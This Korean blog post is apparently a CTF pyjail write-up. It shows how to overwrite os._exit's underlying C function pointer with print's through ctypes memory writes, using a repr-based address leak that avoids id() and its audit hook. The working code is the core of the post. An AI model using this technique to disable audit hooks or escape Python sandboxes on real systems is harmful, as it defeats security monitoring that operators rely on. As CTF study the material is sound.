파이썬 메모리 변조로 함수 덮어 씌우기

biluv·2024년 2월 26일
0
post-thumbnail

ctf의 pyjail 문제에서 audit 훅의 exit 함수를 덮어 씌워 종료되지 않게 하기 위해 사용했던 방법 입니다.
파이썬 3.11 기준으로 작성되었습니다.

__call__을 이용하면 빌트인 함수의 주소도 id (cpython 기준으로 주소를 반환) 함수의 호출 없이 가져올 수 있습니다.

id를 이용하면 audit 훅이 호출되어 사용할 수 없었습니다.

// Include/cpython/methodobject.h
typedef struct {
    PyObject_HEAD
    PyMethodDef *m_ml; /* Description of the C function to call */
    PyObject    *m_self; /* Passed as 'self' arg to the C func, can be NULL */
    PyObject    *m_module; /* The __module__ attribute, can be anything */
    PyObject    *m_weakreflist; /* List of weak references */
    vectorcallfunc vectorcall;
} PyCFunctionObject;

얻은 주소는 PyCFunctionObject를 가리킵니다. 파이썬이 호출할 주소는 PyMethodDef에 있습니다.

struct PyMethodDef {
    const char  *ml_name;   /* The name of the built-in function/method */
    PyCFunction ml_meth;    /* The C function that implements it */
    int         ml_flags;   /* Combination of METH_xxx flags, which mostly
                               describe the args expected by the C func */
    const char  *ml_doc;    /* The __doc__ attribute, or NULL */
};

ml_meth는 PyCFunction으로 저 시그니처를 가지는 함수의 주소를 가리킵니다.

\

from ctypes import POINTER, c_uint64, cast

def get_func_addr(func):
    return int(str(func.__call__).split("at ")[1][:-1], 16)

addr = get_func_addr(os._exit)
assert addr == id(os._exit)

id를 대신 할 get_func_addr를 만들어 func의 주소를 가져올 수 있도록 했습니다.

PyObject_HEAD는 PyObject로 확장되고 _object로 확장됩니다.

// Include/object.h
struct _object {
    _PyObject_HEAD_EXTRA
    Py_ssize_t ob_refcnt;
    PyTypeObject *ob_type;
};

_PyObject_HEAD_EXTRA는 trace가 켜져있을 때만 추가가 되기에 무시를 해도 됩니다.
따라서 ob_refcnt(8b), ob_type(8b) 총 16b를 건너뛰면 m_ml를 얻을 수 있습니다.

ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]

64비트 환경에 참조를 해서 주소를 읽어야 했기에 ctypes c_uint64 pointer로 캐스팅을 해주었습니다.

ptr2 = cast(m_ml, POINTER(c_uint64))
ptr2[1] # ml_meth

이제 저 ml_meth를 다른 값으로 덮어씌우면 함수를 호출했을 때 exit이 되지 않게 할 수 있습니다.

from ctypes import POINTER, c_uint64, cast
import os

def get_func_addr(func):
    return int(str(func.__call__).split("at ")[1][:-1], 16)

###
addr = get_func_addr(print)

ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]

ptr2 = cast(m_ml, POINTER(c_uint64))
print_ml_meth = ptr2[1] # ml_meth
###

###
addr = get_func_addr(os._exit)
assert addr == id(os._exit)

ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]

ptr2 = cast(m_ml, POINTER(c_uint64))
ptr2[1] = print_ml_meth
###

os._exit(1234)
os._exit(4567)
os._exit(8901)

0개의 댓글